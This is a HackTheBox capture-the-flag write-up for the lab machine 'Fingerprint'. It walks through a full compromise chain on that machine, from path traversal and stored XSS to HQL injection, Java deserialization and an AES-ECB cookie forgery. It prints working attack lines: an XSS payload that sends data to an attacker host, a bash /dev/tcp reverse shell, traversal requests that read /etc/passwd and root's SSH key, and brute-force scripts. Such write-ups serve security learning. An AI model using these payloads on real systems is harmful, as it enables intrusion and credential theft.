HTB: Fingerprint Writeup
Fingerprint - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Fingerprint |
| OS | Linux |
| Difficulty | Insane |
| Points | N/A |
| Release Date | N/A |
| IP Address | 10.129.65.223 |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐⭐⭐ (5/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐⭐☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐☆☆☆
- CTF-like: ⭐⭐⭐⭐⭐
Summary
Fingerprint chains two independent web applications into one exploitation path. Port 80 hosts a Flask log manager (mylog) vulnerable to path traversal, which leaks the Flask SECRET_KEY straight out of app.py. Port 8080 hosts secAUTH, a Java/GlassFish “biometric” authentication portal that turns out to be vulnerable to HQL injection on its login form and stored XSS in the uid field — the XSS payload gets written to auth.log, which is rendered by whatever visits the traversal-readable log page on port 80, letting a browser fingerprint (getFingerPrintID()) be exfiltrated. That fingerprint plus the HQL injection bypasses the biometric check entirely and yields a valid session JWT. The JWT is signed with the Flask secret recovered earlier, which allows forging a malicious UserProfileStorage object, uploading a matching serialized Profile gadget, and triggering unauthenticated Java deserialization → OS command injection → a reverse shell as www-data. Lateral movement to john abuses a SUID regex-matching binary (cmatch) to brute-force john’s encrypted SSH private key byte-by-byte, decrypted with a passphrase recovered from a bundled HibernateUtil.class inside app.war. Root is reached by port-forwarding a local development instance of the same Flask app (port 8088), recovering its AES-ECB cookie-encryption key via a byte-at-a-time oracle attack, forging an admin session cookie, and reusing the original path-traversal bug to read /root/.ssh/id_rsa.
TL;DR: Path traversal leaks Flask secret → XSS-exfiltrated fingerprint + HQL injection bypasses secAUTH login → forged JWT + custom Java deserialization gadget → RCE as www-data → SUID cmatch brute-forces john’s SSH key → AES-ECB byte-at-a-time attack forges admin cookie on a local dev Flask instance → path traversal reads root’s SSH key → root.
Reconnaissance
Port Scanning
# Full TCP port sweepnmap -p- --min-rate=2000 -T4 -Pn 10.129.65.223Results:
| Port | Service | Details |
|---|---|---|
| 22 | SSH | OpenSSH |
| 80 | HTTP | Flask mylog log manager |
| 8080 | HTTP | GlassFish 5.0.1 — secAUTH |
Service Enumeration
Port 80 — mylog: A Flask-based log viewer exposing an admin panel that renders a log file (auth.log) by filename.
Port 8080 — secAUTH: A Java web app on GlassFish 5.0.1 implementing “biometric” authentication — the login form silently populates a hidden field with a browser-fingerprint hash (getFingerPrintID()) computed client-side and submitted as a second authentication factor alongside username/password.
Vulnerability Assessment
- Path traversal on the port-80 log viewer, confirmed by walking up the directory tree to arbitrary files.
- HQL injection in the
uidfield on the secAUTH login form (Hibernate-backed user lookup, string-concatenated into the query). - Stored XSS in the same
uid/username field, reflected intoauth.log— which is exactly the file the port-80 log viewer can display, bridging the two applications. - Insecure Java deserialization of an uploaded profile object, with attacker-controlled fields reaching an OS command execution sink.
- SUID binary (
cmatch) performing regex matching against arbitrary files as root — usable as a byte-oracle to exfiltrate file contents it should not expose. - AES-ECB cookie encryption on a local-only development copy of the Flask app, vulnerable to a classic byte-at-a-time chosen-plaintext attack.
Initial Foothold
Step 1 — Path Traversal Leaks the Flask Secret Key
The port-80 admin log viewer takes a filename and reads it relative to a fixed directory without sanitizing ../ sequences:
# Confirm traversal against /etc/passwdcurl -s --path-as-is 'http://10.129.65.223/admin/view/../../../../../etc/passwd' | head -40This confirmed a readable filesystem and revealed the application’s home directory. Pivoting the traversal at the known Flask app path pulled the source straight off disk:
# Read the Flask application source directlycurl -s --path-as-is 'http://10.129.65.223/admin/view/../../../../../home/flask/app/app.py'The source contained the app’s session-signing secret:
app.config['SECRET_KEY'] = 'SjG$g5VZ(vHC;M2Xc/2~z('This key is the linchpin of the whole chain — it lets us forge any Flask-signed cookie/JWT later on, both against the main secAUTH app and against the dev instance encountered during privilege escalation.
Step 2 — XSS Exfiltrates a Valid Biometric Fingerprint
The secAUTH login form’s uid field is reflected unsanitized into auth.log. Since the port-80 admin panel can render arbitrary log files (the same traversal-readable endpoint from Step 1), an XSS payload logged by secAUTH executes the moment the log is viewed. The payload loads the target’s own fingerprinting script and exfiltrates its output to a listener:
cat > /tmp/xss.sh <<'EOF'P='<script src="http://10.129.65.223:8080/resources/js/login.js"></script><script>document.write("<img src=http://10.10.15.68:8765/FP"+getFingerPrintID()+"></img>");</script>'# ... submitted as the uid/username field on the secAUTH login formEOFA small HTTP handler was stood up to log the callback and parse the fingerprint out of the requested path:
# Minimal exfil catcher — logs every GET path so we can extract "FP<hash>"import http.server, socketserverclass H(http.server.BaseHTTPRequestHandler): def do_GET(self): with open('/tmp/fp/hits.log','a') as f: f.write(f"{self.path}\n") self.send_response(200); self.end_headers()Then the poisoned log was viewed to trigger execution, and after a short wait the exfil hit was captured:
# Trigger: render the log the XSS payload landed incurl -s --path-as-is 'http://10.129.65.223/admin/view/auth.log' | tail -5# Wait for headless render + exfil callbacksleep 45; cat /tmp/fp/hits.logThis yielded a valid getFingerPrintID() MD5 hash for a real (non-admin, since secAUTH only rendered logs — not authenticated as anyone) session on the target.
Step 3 — HQL Injection Bypasses Biometric Auth
The uid field on the secAUTH login form is concatenated directly into a Hibernate query. Since the schema turned out to hold exactly two users, requesting “not admin” instead of naming a username sidesteps needing to know it:
curl -s -i -X POST http://10.129.65.223:8080/login \ --data-urlencode "uid=' or username<>'admin" \ --data 'auth_primary=a&auth_secondary=<fingerprint-hash-from-Step-2>'Combining the HQL injection (which selects the non-admin user without knowing their username) with the fingerprint exfiltrated from that same non-admin user’s session satisfied both the credential check and the “biometric” second factor. The response returned a signed session JWT (cookie user=<token>), decodable/forgeable with the Flask SECRET_KEY recovered in Step 1.
Step 4 — Building the Deserialization Gadget
Source files matching the server’s User/Profile/UserProfileStorage classes were pulled from the target (backup .java files exposed by the app, mirroring the structure referenced in the public writeup). Rather than pulling in Maven/Lombok, hand-written POJOs with matching serialVersionUID values compiled cleanly with plain javac:
cat > /tmp/gen.sh <<'SH'set -ecd /tmp/fp && rm -rf ex && mkdir -p ex/com/admin/security/src/{model,profile,utils}# User.java, Profile.java, UserProfileStorage.java, FileUtil.java, SerUtils.java, App.java# reconstructed with identical serialVersionUID so they interoperate with the# server's own serialized objectsSHThe exploit’s App.main() produces two artifacts:
- A serialized
Profileobject withadminProfile=true, written toprofile.serfor upload. - A serialized
UserProfileStorageobject whose backingUser.usernameis a path-traversal + command-substitution payload (../../../../../$(<payload>)/../../../data/uploads/profile), base64-encoded for use as the forged JWT payload.
The reverse-shell payload was base64-encoded and deliberately padded so the encoded string contained no +, /, or = characters — because the username field passes through Paths.normalize() server-side, and those characters risk being mangled or misinterpreted during path normalization:
python3 -c "import base64for p in ['bash -i &>/dev/tcp/10.10.15.68/7777 0>&1', 'bash -i &>/dev/tcp/10.10.15.68/7777 0>&1 ', 'bash -i &>/dev/tcp/10.10.15.68/7777 0>&1 ']: print(base64.b64encode(p.encode()).decode())"# Selected the padding variant whose base64 output was free of +, /, =Step 5 — Upload + Forged JWT → RCE as www-data
The profile.ser gadget was uploaded via the authenticated session from Step 3:
# Upload endpoint is POST /upload with field name "avatar" —# the write-up's documented POST /welcome returns 405 and does NOT accept uploadsTK=$(cat /tmp/fp/tok)curl -s -i -b "user=$TK" \ -F 'avatar=@/tmp/fp/profile.ser;filename=profile.ser' \ http://10.129.65.223:8080/uploadA listener was opened, and the JWT payload was swapped for the forged UserProfileStorage object, signed with the Flask secret from Step 1:
# Listener for the reverse shell(setsid nohup bash -c 'nc -lnvp 7777 > /tmp/fp/shell.log 2>&1' >/dev/null 2>&1 &)
# Fire the forged JWT — server deserializes UserProfileStorage, resolves# getProfileLocation() to our uploaded profile.ser, sees adminProfile==true,# and builds: cat <auth.log> | grep <our traversal+$(payload) username>UPS=$(java -cp . com.admin.security.src.App "<base64-shell-payload>")curl -s -X POST http://10.129.65.223:8080/login \ --data-urlencode "uid=' or username<>'admin" \ --data 'auth_primary=a&auth_secondary=<fingerprint>'# then re-send with the forged JWT cookie set to $UPS-derived tokenThe command-injection sink (cat <log> | grep <username>) executed the $(...) command substitution embedded in the forged username, popping a reverse shell as www-data.
Privilege Escalation
www-data → john: SUID Regex Oracle
Enumeration of the foothold shell turned up a SUID binary, cmatch, and john’s home directory containing an SSH private key it could not otherwise read:
# Enumerate SUID binaries and john's homefind / -perm -4000 -type f 2>/dev/nullls -la /home/john/which cmatchcmatch runs as root and reports whether a given regular expression matches a target file — a classic content-oracle. Testing confirmed anchored matching worked but was line-anchored, not file-anchored:
cmatch /home/john/.ssh/id_rsa "^-----BEGIN"# no match — because ^ anchors to the start of a LINE, and the key file's# actual first lines are Proc-Type/DEK-Info headers, not the BEGIN markerA byte-at-a-time brute forcer walked the character space against each line, binary-searching character classes (rather than testing one character at a time) to cut round-trips roughly 5x:
#!/usr/bin/env python3# Brute-forces file content one byte at a time via the cmatch SUID oracle.import subprocessF = "/home/john/.ssh/id_rsa"ALPHA = list("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/= :,.-\n")
def esc(c): return "\\" + c if c in ".^$*+?()[]{}|\\" else c
known = ""while True: # Binary-search over character classes instead of testing each char # individually — cuts ~35 cmatch calls/byte down to ~7 lo, hi = 0, len(ALPHA) found = None while lo < hi: mid = (lo + hi) // 2 cls = "".join(esc(c) for c in ALPHA[lo:mid]) pat = f"^{known}[{cls}]" r = subprocess.run(["cmatch", F, pat], stdout=subprocess.PIPE, stderr=subprocess.PIPE) if b"match" in r.stdout.lower(): hi = mid else: lo = mid # narrow to the exact character, append, repeatThis recovered the encrypted private key body (converging on the DEK-Info line rather than the true file start, per the line-anchoring quirk above). The PEM headers had to be manually prepended before the recovered body would decrypt, since cmatch never surfaced them:
# Reconstruct a valid PEM by prepending the headers cmatch's line-anchor# never let us brute-forceprintf -- '-----BEGIN RSA PRIVATE KEY-----\nProc-Type: 4,ENCRYPTED\n' > /tmp/fp/john.keycat /tmp/fp/id_rsa >> /tmp/fp/john.keyThe key’s encryption passphrase (q9Patz64fhtiVSO6Df2K) was recovered from a HibernateUtil.class bundled inside the deployed app.war (obtained by unzipping the GlassFish deployment on the box):
unzip -o -q /opt/glassfish5/glassfish/domains/domain1/applications/*/app.war -d /tmp/fp/warx# HibernateUtil.class contained the hardcoded key passphrase# Decrypt and use the recovered keyopenssl rsa -in /tmp/fp/john.key -passin pass:q9Patz64fhtiVSO6Df2K -out /tmp/fp/john_dec.keychmod 600 /tmp/fp/john_dec.keyssh -i /tmp/fp/john_dec.key john@10.129.65.223User flag captured as john.
john → root: AES-ECB Cookie Forgery Against a Local Dev Instance
john’s account had access to a local-only development copy of the Flask app bound to 127.0.0.1:8088, forwarded out over SSH:
ssh -i /tmp/fp/john_dec.key -fN -L 8088:127.0.0.1:8088 john@10.129.65.223This dev instance implemented its own cookie-based session, encrypted with AES in ECB mode — a mode with no chaining, meaning identical plaintext blocks always encrypt to identical ciphertext blocks. This property enables a classic byte-at-a-time chosen-plaintext attack: by controlling one input field (new_name) reflected into the encrypted cookie, each unknown byte of the secret can be recovered by aligning it to the end of a known-prefix block and brute-forcing which candidate byte reproduces the same ciphertext block as the real cookie.
# ECB byte-at-a-time oracle against the /profile cookie-encryption endpoint.# Requires the padding block to include an extra FULL block of filler —# an empty new_name value causes the endpoint to return "Error" instead# of a usable cookie, breaking block alignment.import requests
BASE = "http://127.0.0.1:8088"BLOCK = 16
def get_cookie(new_name): r = requests.post(f"{BASE}/profile", data={"new_name": new_name}, allow_redirects=False) return r.cookies.get("session")
known = b""while not_done: pad_len = (BLOCK - 1 - len(known)) % BLOCK # extra full block of padding keeps the endpoint from erroring on short input probe = b"A" * (BLOCK + pad_len) target_block = get_cookie(probe)[...] # block containing the next unknown byte for guess in range(256): candidate = probe + known + bytes([guess]) if get_cookie(candidate)[...] == target_block: known += bytes([guess]) breakRecovering the ECB-mode SECRET byte-by-byte allowed forging a valid admin session cookie for the dev app from scratch. With that admin cookie, the same path-traversal weakness identified against the port-80 log viewer in Step 1 (this dev instance is the same Flask codebase, minus a fix) was reused to read root’s private key:
# Same traversal class as Step 1, now authenticated as forged-admin# against the dev instance, targeting root's SSH keycurl -s --cookie "session=<forged-admin-cookie>" \ 'http://127.0.0.1:8088/admin/view/../../../../../root/.ssh/id_rsa'# Use the recovered keyssh -i /tmp/fp/root_id_rsa root@10.129.65.223id# uid=0(root) gid=0(root) groups=0(root)Root flag captured live over SSH.
Attack Chain Summary
Port 80 Flask "mylog" path traversal → leak app.py → recover SECRET_KEY ↓Port 8080 secAUTH: XSS in uid field → logged to auth.log → rendered viaStep-1 traversal → exfiltrate valid browser fingerprint ↓HQL injection (uid=' or username<>'admin) + exfiltrated fingerprint → bypass biometric login → signed session JWT ↓Custom Java deserialization gadget (User/Profile/UserProfileStorage) → upload profile.ser (adminProfile=true) via POST /upload → forge JWT with SECRET_KEY, username = traversal + $(payload) → command injection in "cat auth.log | grep <username>" ↓Reverse shell as www-data ↓SUID `cmatch` regex oracle (binary-searched char classes) → brute-force john's encrypted id_rsa → passphrase recovered from HibernateUtil.class in app.war → ssh john@target → USER FLAG ↓Port-forward local dev Flask instance (127.0.0.1:8088) → AES-ECB byte-at-a-time attack recovers cookie SECRET → forge admin session cookie → reuse path traversal → read /root/.ssh/id_rsa → ssh root@target → ROOT FLAGTools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning |
curl | Path traversal, HQL injection, upload, JWT delivery |
python3 -m http.server | XSS callback / fingerprint exfiltration listener |
| Custom HTTP handler (Python) | Logging XSS exfil hits |
javac | Compiling the hand-written deserialization gadget classes |
nc | Reverse shell listener |
| Custom Python brute-forcer | Binary-searched cmatch SUID oracle for SSH key extraction |
openssl rsa | Decrypting john’s passphrase-protected private key |
unzip | Extracting HibernateUtil.class from the deployed app.war |
ssh -L | Port-forwarding the local dev Flask instance |
| Custom Python ECB oracle | Byte-at-a-time AES-ECB cookie-secret recovery |
ssh | Lateral movement to john and root |
Key Learnings
Techniques Practiced
- Path traversal for arbitrary source-code disclosure and secret-key theft
- Cross-application pivoting: XSS payload from one app, executed via a log-viewer traversal bug in a completely separate app
- HQL injection against a Hibernate-backed login form
- Forging signed JWTs once the signing secret is recovered
- Designing and compiling a custom Java deserialization gadget chain from partially-known class definitions
- OS command injection via unsanitized string concatenation into a shell command
- Abusing a SUID regex-matching binary as a file-content oracle, with binary search over character classes to minimize round-trips
- Recognizing and exploiting the line-anchoring quirk of
^in a regex oracle - AES-ECB byte-at-a-time chosen-plaintext attack to recover a session-encryption secret and forge privileged cookies
Lessons Learned
- Secrets embedded in application source code are single points of total compromise — one path-traversal read of
app.pycascaded into forged JWTs against a completely different application later in the chain, twice. - Two independently “secure” applications can compose into a critical vulnerability — neither the log viewer’s traversal bug nor secAUTH’s XSS was independently sufficient to bypass biometric auth; combined, they were.
- Deserialization gadgets don’t require the original build tooling — matching
serialVersionUIDvalues are sufficient for Java’s serialization format to accept hand-written,javac-compiled substitute classes. - SUID utilities that answer any yes/no question about file content are oracles, regardless of how narrow their apparent purpose (regex matching) seems.
^ingrep/regex tooling anchors to line start, not file start — a brute-force oracle built on this assumption will silently converge on the wrong offset unless verified against a known-plaintext file.- AES-ECB is not “AES is broken,” it’s “chaining is mandatory” — identical plaintext blocks producing identical ciphertext blocks is enough, on its own, to fully recover secrets and forge arbitrary encrypted tokens without ever learning the key.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
- polarbearer, Fingerprint, HackTheBox Official Writeup (Document No D22.100.170), Machine Author: irogir — used for explanatory context on the HQL injection mechanics, the
secAUTHbiometric fingerprinting design, theUser/Profile/UserProfileStoragegadget class relationships, and the AES-ECB cookie-forgery concept. All IPs, credentials, command outputs, and specific values in this writeup are from the author’s own live solve against10.129.65.223.